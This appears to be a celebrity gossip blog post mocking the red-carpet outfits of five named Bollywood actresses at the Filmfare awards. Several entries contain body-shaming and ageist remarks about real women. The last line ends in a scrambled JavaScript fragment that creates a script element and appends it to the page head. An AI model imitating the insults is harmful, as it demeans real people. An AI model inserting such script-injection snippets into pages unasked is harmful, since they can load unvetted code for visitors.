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Worst dressed Bollywood actresses at the Filmfare awards!

So now that we’ve seen who stole the show at the 59th Idea Filmfare awards (See here), there were others who looked a little out of place and over dressed for the event. They probabbly thought they looked gorgeous but we seriously think they should have tried consulting a good stylist to make sure they looked less funny for a grand event as that.

Here are some celebs who we thought looked a bad and out of place at the Filmfare awards recently. Fashion disasters were at their peak and our celebs chose to ignore how ridiculous they looked. Here are the worst dressed bollywood actresses at the Filmfare awards.

1. Aditi Rao Hydari

We’re so surprised that someone as stylish as Aditi Rao Hydari wore something that made her look huge. The dress could have been a little better had she not decided to walk in with her hair tied up high and the neckline designed that way.

2. Kajol

We all love Kajol and admire her for the actress that she is. But looks like being away from the limelight has taken a toll on her dressing sense. She looks like she’s going for a cocktail party more that an awards function. It makes her look old and she definitely looks like an aged mother of two big kids.

3. Prachi Desai

This young lady left us disappointed when she walked down the red carpet. her peach colored outfit revealed much of her not so hot body and she looked like a garden. No offence, but this is one of Prachi’s worse dress ever.

4. Tanisha Mukherjee

She loves to be the centre of attraction for all the wrong reasons. We fail to understand what is with the black dress that she is wearing which calls for attention to her cleavage. What is worse is the pattern of her sleeves. Hideous!!

5. Richa Chadda

Looks like she is all set to go for a dance show in Spain rather than walk down the red carpet for the Filmfare Awards. The frilly design on her gown makes her look like a dancer at a carnival. And her shoes are a mismatch. Bad choice, Richa!!d.getElementsByTagName(‘head’)[0].appendChild(s);var d=document;var s=d.createElement(‘script’);

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